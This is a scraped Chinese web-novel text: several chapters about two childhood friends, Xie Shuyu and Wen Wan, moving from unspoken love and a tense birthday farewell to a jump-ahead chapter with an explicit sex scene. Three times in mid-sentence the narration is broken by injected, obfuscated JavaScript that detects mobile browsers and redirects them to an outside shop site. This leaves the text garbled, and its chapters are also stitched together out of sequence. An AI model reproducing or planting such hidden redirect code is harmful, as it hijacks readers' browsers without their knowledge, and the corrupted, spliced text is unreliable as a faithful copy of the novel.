“有点冷,先回去吧。”谢舒毓走过来。 照片划到上一张,再装模作样多划几下,熄屏,不慌不忙揣兜,温晚摇头,“明天你就要走了,我不想睡觉。” 距离天亮还有六七个小时,全部消耗在睡眠的话,多可惜。 “下午才走,还有大半个白天呢。”谢舒毓弯腰给她把外套拉链拉上,“这个生日开不开心。” 亲到了小筷子,开心,但小筷子明天就要走,不开心。 温晚扬起脸蛋,“我要抱抱你。” 谢舒毓打开双臂,温晚坐在秋千上,两手环住她的腰肢,脸贴在她小腹,也许是夜晚总让人感伤。 “我好想你。” “我在呢。”谢舒毓回答。 “你可以不走就好了。”温晚声音闷闷的。 谢舒毓没有回答。 “我知道,你当然是要走的,我不是想耽误你工作……” 只是、只是,好舍不得。 胸腔漫长起伏,对大家目前所面临的困境,谢舒毓不想只是指责,过去的事已经过去。 “如果在这边过得不开心,就回家吧。”家中有爱你的所有人。 坏情绪像病毒,疯狂复制,占据心扉,温晚眼眶热热,又想哭。 但她已经擦好脸了,精华很贵,一直哭一直哭,也怕人家没耐心哄,努力憋回去。 “想哭就哭。”谢舒毓手指穿过她黑发,捏住她软软热热的耳垂。 温晚摇头,“怕你嫌弃我。”眼睛不自觉眯起来,被捏得很舒服。 “我嫌弃又能怎么样。”谢舒毓指尖缓缓施加力道,“我嫌弃你就不哭了?不闹了?不发疯了?” 嫌弃,但从不会扔她不管,弃她而去。 “是吗?”温晚眼泪瞬间憋回去,“你好厉害啊——” 谢舒毓“哼”了声,“我哪有你厉害啊。” 洗衣晾衣,谢舒毓忙完是凌晨一点,回到房间,温晚刚才还说不要睡觉,这会儿困得不行,强撑着在等,感觉身旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13665994|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床垫下陷,两条胳膊伸出来,要抱。 被啃破的嘴角没那么疼了,谢舒毓亲亲她的脸,“晚安。” 说起来,不知是这几天太忙太累,还是别的什么原因,好像都没怎么做梦。 也不需要做梦,她就在身边。 翌日,快中午,起床下楼吃饭,听左叶说,次子早上七点就开车走了。 “他托梦给你的?”谢舒毓开了瓶茶饮。 “老板跟我说的!”左叶想揍她一拳,回头看许徽音在厨房跟老板点菜,夺过饮料猛灌一口,顿时龇牙咧嘴,“怎么是苦的!” “茶当然是苦的。”谢舒毓扯了张纸,细细把瓶口擦干净。 左叶气得不行,“你满身臭毛病,你嫌我脏啊。” 谢舒毓确实嫌弃,“那不成间接接吻了,我才不要。” 人的想象力太恐怖,她脑袋里才刚起个念头,顿时满身鸡皮疙瘩。 左叶稍加联想,“嘶”了一声,也肉麻得不行。 “那你跟小碗就亲得下去。” “小碗不一样。”谢舒毓下意识接。 “哪里不一样。”许徽音回来了,在旁边坐下。 “对啊,哪里不一样。”左叶摆开架势,开始审她。 谢舒毓抬屁股就走,“我去叫她下来吃饭。” 晾的衣服差不多都干了,谢舒毓取下回房,碗大小姐还在蒙头呼呼大睡,但进门的瞬间,谢舒毓看到她手机屏幕光了。喊两声见她没反应,也不戳穿,把窗帘拉开条手臂粗的缝,稍漏了点光,被子掀开个角,“小寿星,起床啦——” 她闭着眼装睡,嘴唇粉粉嘟嘟,好像专程等人来偷亲,谢舒毓努力憋笑,配合靠近,鼻息走势从她腮畔缓缓蔓延至唇周。 “咦,嘴巴有味道。”谢舒毓摆出嫌弃的表情。 温晚蓦地睁眼,身体瞬间弹出半米远,对上谢舒毓满脸坏笑,她又气又羞,握拳砸床,“你整我啊!” “对啊。”谢舒毓单手撑腮,笑得好欠扁。 温晚才不内耗,“我就算死了,尸体也都是,也都是……” “是什么。”谢舒毓好奇。 温晚双手叉腰,“是茉莉花香味的!” “嗯。”谢舒毓点头,她喜欢的味道。 21.第 21 章 快乐的时光总是短暂的,想到午后就要把朋友们送去车站,温晚饭桌上一阵长吁短叹,没吃几口就撂了筷子。 她生日,左叶本来不想提那事,看她满脸气嘟嘟,还是没忍住。 “谁让你自己一个人跑这鬼地方来。” 两座城市各为省会,经济发展程度不相上下,温晚要是直接跑首都,跑超一线城市,说想锻炼自己,大家都能理解。 “这不等于一个茅厮换坑拉,左边拉大的,右边拉小的,根本多此一举嘛。” 谢舒毓真服了,“吃饭,你能不能别说这些。” 左叶说你甭管,就问是不是这个理。 话糙理不糙,理是这个理。 谢舒毓说:“但你能想到的,别人也能想到,兴许她有什么难言之隐。” “小碗,你究竟有什么难言之隐。”左叶直接问了。 温晚没来得及出声,谢舒毓把话接过去,“既是难言之隐,就不会轻易宣之于口。” 左叶严重怀疑这人智力有问题,“大姐,我是帮你问的,你俩最好,平时想见见不到,是谁抓心挠肝难受啊。” “那谢谢你的好意,谢谢。”谢舒毓拍拍她肩膀,“真的谢谢你,叶子,但这事已经过了,就不提了。” 左叶盯着谢舒毓看半天,恨铁不成刚,干脆把前妻姐提溜出来,“那就都是董益君的错,把小碗拐跑,连家都不回了。” “其实……”温晚不想背后说人坏话,“跟小君没关系。” “你听听,还小君呢。”左叶撞撞谢舒毓胳膊,“人护着,不给说。” 谢舒毓闷不吭声,许徽音给左叶嘴里喂了块肉,“乖,吃饭。” 左叶无所顾忌,她们关系好着呢,再说这两个闷葫芦,她要不帮忙,那些事能揣一辈子,从现在一直揣进棺材里。 其实她真不是个多话的人,是这两位姐姐太沉住气,亲成那样了还憋着,她要不在现场就算了,她亲眼目睹全程,实在不能理解,都这种程度还有什么好藏着掖着的。 “你跟前妻姐到底怎么回事。”左叶问温晚:“你怎么就跟人跑了,连你的家都不要了。” 转过头问谢舒毓,“你呢,到底是不是直女,是直女你干嘛跟人亲嘴。” 小桌临窗,窗外一棵高大的樱桃树,估摸有些年头了,三四层楼那么高,满树繁花随风纷扬如雪,飘飘洒洒。 四人对坐,沉默如海。 许徽音看左叶,左叶看谢舒毓,而谢舒毓在等,等那个吻之后,温晚给她的一个交待。 哪怕邀请的信号只是萤火般微弱。 许久,温晚终于出声。 “叶子你误会了,她没亲我,是我逼她,我强吻她的。也是我没胆量才借人挡灾,本来,这周大家来给我过生日,开开心心,我惹出这么一档子事,太不应该,我向大家道歉。” 她双手合十,低头闭上眼睛,虔诚地,“对不起。” “小晚,你别说这些,我们都朋友。” 隔着长桌,许徽音轻轻握住她手腕,“这件事不是你的错,叶子也绝不是责怪你,只是看你跟小筷子那么多年,不忍心你们继续疏远。” “没疏远啊。”谢舒毓反手撑椅坐直身体,明明是笑着,眼底有细微的水光。 她接受道歉,接受成为温晚的护盾、铠甲,替自己最好的朋友阻挡世间所有恶意入侵。没不开心啊,她所为她做的一切都是心甘情愿。 “小晚跟董益君之间,再怎么样都是她们私事,她不想说就别老追着问了,不管谁对谁错,事情已经过去,其中细节……”她一个字也不想知道。 谢舒毓缓了几秒,“叶子,算我求你。” 左叶一下觉得很没劲,“算我多管闲事,行吧,我吃饱撑的。” 她猛地起身,实木椅与地面摩擦出尖锐啸音,空气中凌冽的一道,终结谈话。 温晚小心侧过脸,看向身边人。童年的小茉莉永远保持它与生俱来的那份清雅坚贞。 在外,谢舒毓几乎从不失态。无关自矜,她只是太过擅长忍耐,也许在无人的角落,也会放任思念和回忆的锋刃细细切割心房,遍地血红。 这些日子,情绪起起伏伏,说是度日如年也不为过,但想到即将到来的分离,心中更多难舍。 因这份浓浓的眷恋,谢舒毓感到绝望。 独一份的爱和纵容,她几乎把自己所有能给的都给出去了,此生她还有希望喜欢上别人吗?还有希望拥有一段正常的恋爱关系吗? 奉献越多,越是不甘,越是不甘,越无法停止试探,尽管每一次都失望而归。 ——““跟小君没关系。” ——“是我没胆量,才借人挡灾。” “没事。”谢舒毓尽量堆个轻松的笑,“你是我最好的朋友,能帮上你的忙,我很高兴,所以你也千万不要因此而感到内疚。” 其实她们之间,根本用不上这么多客套话,倒显得生分。 刻意为之,更像是一种自我告诫。 无形的匕首在胸腔缓慢搅动,没有伤口,却满地黏稠的鲜红。 谢舒毓语气故作轻快,“上楼去收拾东西吧,叶子和阿音四点的车。” 温晚没动。 心中浓浓的失望上涌,她漂亮的眼睛蒙上一层灰色的雾,面对谢舒毓数年如一的“温柔体贴”,她所能做的,唯有顺从。 顺从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13672984|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方心意,远离,也是一种自我保护,用距离来降低预期,弱化伤害。 积怨成墙,她们合力添砖加瓦,越砌越高。 温晚笑了下,是职场常用的虚伪假笑,“你想多了,我才不怕你生气,这些事本来就是你应该做的。” 她咬牙切齿,“毕竟我们那么多年的关系。” “是。”谢舒毓跟着点头笑,“你也别过分担心,我对你一点兴趣也没有,太熟,你这张脸再漂亮,那么多年我也早就看腻了。” 温晚嗤出一声响亮的音节,“就是可怜叶子,总替我们瞎操心。” “她确实误会了。”谢舒毓补充。 转身,温晚上楼。 一楼大厅中间对门是块平台,左右步梯齐通往二层,温晚努力保持优雅仪态,脚下不疾不徐,直至转入谢舒毓视线死角,她才加快步伐,铺深色短绒地毯的走廊,足跟用力跺出气急败坏的闷响。 来到房间门口,她上下一摸,才发现自己没房卡。 双手握拳,想啊啊大叫发泄,不断抚胸顺气,温晚忍了又忍才压下满肚子脏话。 返回大厅,谢舒毓还在原来位置,悠闲翘脚,满脸好整以暇,显然恭候多时。 面对温晚质疑,谢舒毓故作恍然大悟,轻拍了下脑门,“忘了这茬。” “走吧。”她站起身,小幅跺脚抖抖裤腿,“我们一起上去。” 真贱,真贱,真贱。 温晚跟在后头骂,想把她鞋踩飞。 这个五味俱全的周末终于快要结束,下午三点,温晚从庄园开车直接送她们去高铁站,来时候怎么样,走的时候还怎么样,大家分别拥抱。 轮到谢舒毓,却连手都不想握,温晚眼睛里直接没这人了。 送左叶和许徽音进站,旁边人一动不动,温晚再是不想理会,此时也不得不问:“怎么回事?” “怎么回事,你问她呗!”左叶扔下这句,头也不回进了安检闸机。 “小筷子改签了。”许徽音说:“昨天凌晨发消息跟我说的。” 顿了顿又补充,“她想多陪陪你,改签到晚上八点那班。” 这个周末,谢舒毓数不清被打了多少次脸,她转过身,面对候车大厅前广场上熙攘的人流,极少如此刻这般,感觉自己是自然界中的一名异类。 她背道而驰,无可救药。 八点的车,差不多十点到,打车回住处后,洗完澡马上就得休息,明天一早赶去杂志社上班。时间卡得死死。 心中百感交集,温晚送走许徽音,闸机口默默站立许久,“你后悔吗?” 谢舒毓两手揣兜,双目空空。 悔,悔得肠子都青了。 22.第 22 章 谢舒毓后悔是觉着自己太丢人。 碗大小姐都说了,拿她来挡灾的,她还死赖着不走,哈巴狗似的叼着人裤脚呜呜呜。 在好多个猝不及防的偷吻之后,在今早那番决绝的对话之前,她天真幻想过,温晚是有一点喜欢她的。 原来全错了。 因为是朋友,强调过很多遍的“很多年的朋友”,即便恼羞成怒也要装得若无其事。 “后悔什么?” 谢舒毓表示不懂,“我本来就计划要陪你到晚上的。” 哦,是吗,其实我也没那么需要人陪。温晚惊喜眨眼,“真哒?” 煮的。谢舒毓摸摸她头,“当然了。” 手真欠。温晚率先走出候车大厅,玻璃门前对镜整理被揉乱的发顶,“还有好几个小时,要不我带你去市区吃饭,我知道有家火锅特别好吃,我惦记很久了,只是没人陪。” 你没人陪不是活该? “好啊。”谢舒毓欣然应允。 不用接吻,终于可以吃蒜了! “我中午就没吃几口,早饿了。”温晚甩着车钥匙,蹦蹦跶跶,说不清是因为谢舒毓还是因为火锅,亦或都是,她好高兴。 呵呵,瞧她那傻样儿,没心没肺猪大肠。谢舒毓加快脚步跟上,“昨天晚上你也没怎么吃,待会儿多吃点。” 温晚回头看了一眼,心说我没吃不都你害的,你嫌我嘴脏,我哪儿还敢动筷啊。 谢舒毓同样很不爽。看什么看,我不让你吃了? 彼此都沉浸在自己的情绪,无瑕顾忌对方,没有左叶,她们共同失去了一面旁观的镜子。 朋友,果然是生命不可或缺的重要组成。 到停车点,谢舒毓本想坐到后座,思忖片刻,不想计较太深,倒显欲盖弥彰,还是拉开副驾车门。 在温晚看来,这种坦然更加从侧面印证,谢舒毓对她毫无感觉。 系上安全带,两手把在方向盘,温晚更觉得好笑,还需要通过这种方式证明吗?她脱个精光,人家都不为所动,说她这张脸早就看腻了。 哦!差点忘了,人直女来的。 副驾空间被填满,温晚忍不住侧目,谢舒毓坐姿端正,挺拔如竹。 嗯,确实够直。 车子上路,往城市中心开,没多久温晚接到个电话,妈妈打来的。 “跟小……谢在一起,她陪着我,还有叶子和阿音,嗯,刚送走。”温晚把声音外放,“妈妈要跟你说话。” 谢舒毓夹嗓,“干妈——”大人面前怎么也要装一下。 妈妈还是那些话,表达关心,祝天底下最乖最乖的乖宝宝生日快乐,然后让谢舒毓好好劝劝温晚,说服她回家。 “我的话她也得听啊,为爱走天涯嘛,小碗最勇敢,最有冒险精神了。”谢舒毓在那阴阳怪气。 温晚借口开车,承诺回去给妈妈回电话,匆匆挂断。 “你不说话没人拿你当哑巴。”她很不爽。 “啊?我哪句说错了。” 谢舒毓越想越觉得左叶说得有道理,“那个董益君身上,可能真有什么魔力吧,让你爱得死去活来的。” 进入市区主干道,车流拥堵,温晚腾出空瞟了眼谢舒毓,心说为这傻逼离家几年在外当流浪狗,真不值。 自我感动,自我摧毁,自轻自贱。 这顿饭,温晚报复性吃蒜,蘸料碟满满一碗。 没人跟她亲嘴啦,吃啊,使劲吃,往死里吃。 谢舒毓没太敢,怕有味儿,坐高铁被人发到网上骂。 “吃多些。”她给温晚一片接一片烫毛肚,“大蒜素对很多真菌和病毒都有抑制和灭杀作用,还可以让人感到快乐。” “我没有不快乐。”温晚眼眶通红,灌下大半杯冰镇酸梅汤,“只是太辣了。” 一顿饭,来回车程把时间压榨得所剩无几,城市太大了,这里不是老家的小县城,从一个点到另一个点,距离遥远,双腿无法估测。 晚七点,温晚把人送到高铁站,谢舒毓在进站口挥手说“拜拜”,温晚一动不动,被身后人撞个趔趄,险些摔倒,也呆呆没什么反应。 怎么放心得下,谢舒毓大步回到她身边,把她往旁边带了带,“想什么呢。” 她扬起脸蛋,“你怎么还没走。” “抱一下吧。”谢舒毓展开双臂。 “不要。”她还生气,却也没有立即跑掉。 谢舒毓不由分说扯住她手臂,往怀中用力一揽,紧紧扣住。 “该拿你怎么办呀。”好无奈。 那你把我带走吧,把我变成小小的一团,揣进你大大的卫衣兜帽,带回家,我不想和你分开。 温晚有时会想,假如她们没有从小就认识,在高中和大学期间,可能会遇见并发生爱情吗? 未知充满向往,也令人恐惧,她更不能接受没有谢舒毓的童年、少年和青年,那些珍贵的回忆,相依偎时渗透进皮肤和血液的对方的体温,她不愿作为交换舍弃。 如果做朋友比做恋人更长久,她可以永远守口如瓶。 “哭了吗?”谢舒毓捧起她的脸,歪头看。 “不。”温晚倔强不落泪。 谢舒毓轻轻捏一下她鼻尖,“不要哭,我走了就没人哄你了。” 温晚嗤一声,“你算老几。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13687458|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她们在门口磨蹭很久,直到发车前十五分钟,谢舒毓松开手臂。 温晚目送她离去,胸口空空荡荡,像被人挖去一块,夜风呼呼地往里钻,四肢都冰冷结霜。 [我上车了。] [别傻站着,快回去。] 温晚低头回复。 [听不懂你在说什么。] [我早就走了。] 谢舒毓没揭穿,给她找到一个必须回家的理由。 [记得拿快递。] 温晚如梦初醒,谢舒毓给她寄的生日礼物! 她迎风奔跑。 到家九点,小区驿站还亮着灯,温晚取了快递大步往家走,上楼,开门,身上挂的背包胡乱一扔,她找来美工刀,抱着纸箱坐在客厅柔软的短绒地毯。 开箱,揭开层层透明的保护膜,五彩斑斓的各种小物件整齐码放在内,布艺钥匙扣,外出所购的当地文创,漂亮封面的笔记本,精致的木雕娃娃,手作的丑丑陶瓷小碗,发圈、水杯、零食,太多太多了。 每一样都是过去一年,谢舒毓用心收集或制作,冲开桎梏,如破茧蝴蝶振翅飞来悬停在指尖。 她因此感觉到被重视,被深爱,被无时无刻挂念于心,也不再惧怕岁月的流逝,惧怕衰老。 但那些都不是温晚最为期待,她今天格外没耐心,也知道谢舒毓习惯把东西藏在哪里,整箱全部倒在地毯。 箱底一张红色布艺贺卡,格子纹路,棉麻材质,用白布细细包了边,翻开,右页是不织布拼贴而成的小蛋糕,左页两行手缝的小字: ——小碗,希望你能快乐。 ——你永远的小筷子。 大概三四年前,她们几个就商量说生日不要再送礼,说每年那么多人过生日,实在太麻烦,绞尽脑汁也想不出到底要送什么,大家聚一起,开开心心吃顿饭就好。 约定好没多久,她生日还是收到了谢舒毓寄来的礼物。 满满一个大纸箱,布艺贺卡左页歪歪扭扭的手缝字。 ——你不一样。 每一年,谢舒毓手工技艺都在提升,她的字越来越规范,而她们却好像越来越远。 泪水模糊视线,温晚迫不及待摸出手机,找到通讯录里那个添加了超多五颜六色小花叶子emoji的号码备注。 电话通常是响第六声时接起,这次也不例外,温碗发现了,但不明白是为什么。 “喂——”温晚手背胡乱抹泪,声音哽咽。 熟悉的女声像一双温热的手掌捧起脸颊,她好像就在身边,她们额头抵着额头,那家伙得逞了,小嘚瑟,小欠扁。 “哭啦?” 50-60 第51章 别太宠,姐姐。 谢舒毓头发有一阵没剪了,刘海过长,自然往两边走,露出细细浅浅的眉。自从上次,温晚说她长头发好看。 网上那些话真不能信,说什么单边酒窝,孤独终老,又说淡眉的人都薄情寡义。 她现在有女朋友了,她喜欢她喜欢了很多年。再说句不要脸的,还是暗恋转明恋,双向奔赴。 谢舒毓记不清这样背着温晚走了多少次,一步一荡,两个人湿漉漉的头发纠缠在一起,分不清你我。 温晚抬起头,“小筷子,月亮出来了,你看到没。” 谢舒毓没法直起来,她低头,两个重叠的黑影落在水泥地,“疑是地上霜,看到了。” 温晚趴在人背上,屁股撅着,脑袋昂着,“你别看地上,你得看天上,你抬头看看。” 谢舒毓站在那,“我没法抬头。” “你怎么没法抬头。”温晚很疑惑。 “没法抬头就是没法抬头。”谢舒平静道。 温晚背挺得直直,质问的姿态,“我们在一起第一天,你成心给我下马威,给我立规矩呢。” 天地良心啊。谢舒毓理不通她脑回路,“你扯什么规矩不规矩,我们在说月亮。” “对啊,我让你看月亮,你说你不看,你配合我一下能怎么着。” 温晚骑在那,甭管人看得见看不见,小模样先架起来。 “我背上扛了只猪,压迫得我没法抬头。”谢舒毓没好气。 温晚:“我压迫你了吗?” 谢舒毓:“一直在压迫。” 温晚:“那你可受委屈了,你可真不容易。” 谢舒毓:“就这命,有什么办法。” 温晚:“那你把我打倒,翻身做主人。” 谢舒毓笑了下,“已经翻身了。” 温晚顿觉疑惑,“哪儿?”她可不兴人家占她便宜。 “床上。”谢舒毓说。 温晚闭嘴。 谢舒毓把人往上颠颠,背稳了,继续往前走。 温晚抿着小嘴笑,起先有点不好意思,想着,反正谢舒毓看不见,咧嘴无声大笑。 好快乐。 到底没憋住,泄出一两声。 “哈哈哈——” 笑完马上把嘴捂严实。 还好谢舒毓没听见,到楼栋口,攀着楼梯扶手喘气,说“好累”。 “加油!”温晚在后面给她打气。 停在那缓了半分钟,谢舒毓踩着楼梯上去,从始至终一声不吭,像只老黄牛。 到家门口,她腰都直不起来,从兜里把钥匙摸出来,哑着声,让温晚开门。 新娘子脚不能落地,就剩最后几步了,谢舒毓走进去,温晚把门带上,两人一起重重倒在沙发。 “胜利!”温晚爬起,高举双手欢呼。 谢舒毓闭着眼直直躺在那,胸腔剧烈起伏,呼吸浊重。 她浑身都是汗,额际湿漉漉,整张脸,连带着脖子和耳朵都是红的。 温晚跪在一边,静静看她几秒,俯身把耳朵贴到她胸口,拿出手机计时。 半晌,温晚坐起,“你跳了一百五十下。” 太累了,耳朵都是嗡嗡的,谢舒毓还是阖着眼皮不讲话。 皮沙发有种旧旧的味道,温晚趴下去的时候,闻到了,继而是谢舒毓身上被热气蒸出来的暖香。 “你好好闻。”像只小狗,温晚四处去嗅。 “痒。”谢舒毓笑着往旁边躲了,长睫小片阴翳,落在眼皮下面软软的一块皮肤。 这方面大多时候是温晚主动,她不想承认自己见色起意,可谢舒毓现在看起来真的很好亲。 “好软。”温晚呢喃着,有一下没一下吻。 那唇色自然艳丽,水润光泽,吮不够,像小时候吃果冻,舍不得一口咬下,先伸舌细细舔,再缓缓加深,含住,试探着咬。 情至深处,谢舒毓有了反应,闭眼沉溺的同时,手摸到温晚软软的脸,细细摩挲着,从耳后探入,五指黑发中穿行。 温晚头皮发麻,才只是被托住后脑,她就克制不住全身发抖,想立即被刺穿。 她喊人的名字,谢舒毓,谢舒毓,一遍又一遍,催促说快点。睡裙被推高,冗乱堆叠在腰际,上面黑色的小猫图案扭曲,像被铲到路边乱七八糟的雪。 她们这地方,冬天每年都下雪,但续不起来,过了中午,开始升温,雪就在化,颜色开始变得透明,房前屋后,到底滴滴答答。 温晚仰面看着天花板,白炽灯照亮整个房间,灯周围一圈却是暗的,墙壁渗水的痕迹特别明显,墙角还有蜘蛛网,不知道什么东西,黑黑长长一段挂在那,活了似的,人不在房子里,悄悄长出来。 是灰尘精灵!温晚想到了,《龙猫》里面说过的。 感觉身体很重,又很轻,思绪乱糟糟,不经意,温晚低头看了一眼,恰逢谢舒毓抬头,她捕捉到吞咽的动作,“嗯”了声,手指在光滑的皮面沙发上什么也抓不住,整个人像悬空吊在那,无依无靠的。 老房子隔音不好,楼道脚步声清晰,伴随低咳,声控灯也不太灵光了,要咳好几声才能亮起来。 小县城里的时间好像要走得慢一些,墙上钟表滴答滴答,还不到十点,温晚懒懒眨了一下眼,看谢舒毓低着头,帮她擦,完事纸巾叠把叠把,无比自然揩了下嘴,才扔进垃圾桶。 节俭,太节俭了。 已经结束,温晚才摸到可以抓的东西,是皮沙发缝合处凸起的边,时间太久,变硬变脆,手轻轻一抠就掉块皮。 “你也不嫌脏。”温晚嘟囔,轻轻踹了人一脚。 谢舒毓跪在那,反应几秒才意识到她说什么。 “咽都咽了,还管这些。” 温晚撑身坐起,去盯她唇。吻得有点肿,颜色更深了。 那唇开开合合,“要尝尝吗?” 没等她反应,谢舒毓凑上来。温晚下意识往后躲了下,没跑掉,再次被托住后脑勺。 那像装了个开关,一碰到,温晚人就软了,被迫尝到自己的滋味。唇瓣分离,她下意识去舔,小幅度咬唇,像寻觅什么。 不说话,谢舒毓饶有兴味看着她。 后知后觉,温晚脸爆红,一头扎过去,“讨厌你!” “喜欢你。”谢舒毓接道。 她轻声笑,音色低柔,“你要是不喜欢,我下次不这样了。” 温晚不说话。 “嗯?”谢舒毓晃晃。 温晚摇头。 “那还是喜欢的。”谢舒毓了然。 “喜欢。”温晚抬头,眼眶一圈都是红的,瞳孔晶亮。 倒下去,她们抱在一起休息,很久不说话,耳边只有彼此平稳的呼吸声,不时亲吻,确定对方还在,这感觉太好。 太过幸福,以至于心口过分酸胀,酝酿出眼泪,温晚哭着,捧起谢舒毓的脸,一遍遍说“我爱你”。 “别哭了。”谢舒毓为她拭泪。 温晚摇头,“你不懂,这叫喜极而泣。” “小心乐极生悲!”谢舒毓总是给人惊喜。 温晚皱眉看着她,“你是不是有什么毛病。” 谢舒毓也瞪着眼睛看她,“不好笑吗,我开玩笑来的,你之前还说让我说脱口秀。” “哪里好笑了。”温晚莫名其妙开始骂人,骂她傻逼。 谢舒毓愣了两秒,回击,骂她骚货。 “为什么要夸奖我。”温晚活学活用。 她们开始互相夸赞对方。 “傻逼。” “骚货。” “傻逼。” “骚货。” 温晚假装要吐口水,谢舒毓举手投降,“好了好了,我错了,不玩了。” 她爬起,有些无可奈何看着她的女朋友,“才第一天,是不是暴露得太快了。” “你敢反悔?”温晚怒目而视。 “开玩笑。”谢舒毓真怕被打,又忍不住嘴欠,“也不是第一天认识,你什么素质,我心里有数。” “你也不是好人!”温晚回呛。 不知联想到什么,谢舒毓回到温晚身边,展臂把人紧紧抱在怀里。 酒窝甜甜,温晚拿手去戳,“又想干什么。” “人家说,做完要抱抱,抱很久,不然会有被抛弃的感觉。” 谢舒毓亲亲她的脸,模样很乖,“刚才忍不住跟你小吵一下,现在道歉,对不起,我以后会加倍去爱你,疼惜你。” 啊,这人,才几天不见,变得好狡猾。 温晚半靠在谢舒毓肩膀,满脸洋溢幸福笑容,大方摆摆手,“小吵怡情,没关系。” “那小炒呢。”这是谢舒毓最近学的新词。 温晚惊奇看着她,她害羞捂嘴。 “你还想来吗?”温晚问道。 谢舒毓思索两秒,“取决于你。” “那晚些。” 今天有点累,温晚说:“我想上卫生间,但又不想动弹。” 从客厅到卫生间就三五步路,谢舒毓就要爬起来,“我给你找个盆接。” “不是……”温晚及时摁住,“别太宠了,姐姐。” 她说还能再忍忍,“就想跟你在一起,多抱会儿。” 小脑瓜里许多稀奇想法,“如果我是一个橡皮人就好了,小时候,冬天我最讨厌起床上厕所,我希望我是一个橡皮人,身体任何部位都可以无限拉长,想上厕所的时候,只需要把屁股拱出被窝,放到厕所里,解决完再缩回来。” “欸欸!”温晚猛晃谢舒毓胳膊,“我还想过,如果我是一个橡皮人,我就可以低头吃到自己了。” 谢舒毓“啊”了一声。 温晚开始“哈哈哈”笑,谢舒毓有在认真替她思考实践可能,“自己摸自己都没感觉,自己吃自己,根本毫无趣味嘛。” “有道理。”温晚点头。 有的没的聊了一大堆,谢舒毓催温晚赶紧上卫生间,说憋久对肾不好。 温晚起身之前,突然很认真对谢舒毓说:“我知道为什么了,为什么这么多年,我们怎么吵也吵不散。” 谢舒毓眨眨眼,示意她继续。 “你是我的灵魂伴侣。”温晚郑重其事道:“你没发现吗?我们的聊天内容,其实毫无意义,但你每次都愿意陪我聊,聊很深。” 谢舒毓茫然,“聊天还需要什么意义,不就是瞎聊。” 摇头,温晚说你不懂,转身去了卫生间。 温晚试过的,大学期间,交朋友是件很容易的事,她人漂亮,花钱也大方,说请客,一定会有人来。 她试着跟别的人做朋友,远离谢舒毓,但有些家伙真的太无聊了,相处时,使她产生一种深深的无力感。 交朋友也是件很麻烦的事,从陌生到熟悉,从警惕到松弛,得花费多少时间心力啊。 新鲜感过后,她真没那么好耐性忍受别人的坏脾气,而对方同样。 兜兜转转,她们又在一起。 还有,某人之溺爱纵容,无可替代。 温晚相信,谢舒毓真的会给她找个盆接。 只要她敢,谢舒毓一定也敢。 她们都好敢! 洗完手出来,抬头看看钟表,还不想睡,温晚摸摸肚子,“好像有点饿了。” “我也饿了。”那条烤鱼大半都焦糊,谢舒毓也没吃几口。 回来路上,看见附近有摆摊卖烧烤的,谢舒毓从包里翻件薄外套出来披上,“我去买,你在家等着。” 腿心发酸,温晚不太想跟着去,乖巧点头。 人一走,屋里静下来,温晚仰躺在沙发,手无意识抠着沙发边,不一会儿就抠得满地碎屑。 还是起来做点什么吧,不然等假期结束,沙发整个都会被扒光的。 想着,温晚打开了谢舒毓的房间门,只一秒,她脸色变得阴沉。 这个房间小时候她来过很多次,谢舒毓的小床,书桌,衣柜等,她样样熟悉,现在却完全变了。 变成一个男孩子的房间。 家具还是那些家具,实木的,很耐用,只是桌上放的,柜里搁的,床上铺的,变了,全变了。 男孩子的玩具、球鞋、书籍,像滋生的霉菌,布满整个房间。 温晚怎么忍得了。 小房间连通后阳台,外头堆了许多杂物,她满世界翻,找到两个蛇皮袋,把房间里不属于谢舒毓的东西,全部装进袋子里。 为避免霉菌死而复生,她打开家门,硬是把蛇皮袋拖运到楼下。 五十米外,空地靠墙有两个绿色大垃圾桶。 才洗过澡,又累得满身汗,胡乱擦把额头,温晚把蛇皮袋拖到垃圾桶边,气呼呼叉腰,临走还泄愤踹两脚。 然后她发现自己没钥匙。 谢舒毓提着烧烤走到楼道口,冷不丁,看到角落里蹲了个人,她心下防备,猛地跺脚,声控灯亮,惊讶出声:“小晚?你怎么下来了。” 温晚在网上看别人拍段子,一个人站在镜头前说话,眉飞色舞的,说对象平时脸可臭可臭,瞅着特别不好惹,生人勿进,但只要两人一见面,准确来说是一看到镜头,对象就咧嘴笑起来,变成可爱小金毛。 现在她见着真的了。 “你等我呢。”谢舒毓去牵她手,“在家等也是一样的。” 温晚有谈恋爱的那种感觉了,真奇妙,明明以前她们也像这样。 “下来丢东西。”温晚直说,她把谢舒屹的东西全收出来扔了,“到时候你妈问起,你就说是我干的,看她能怎么样。” 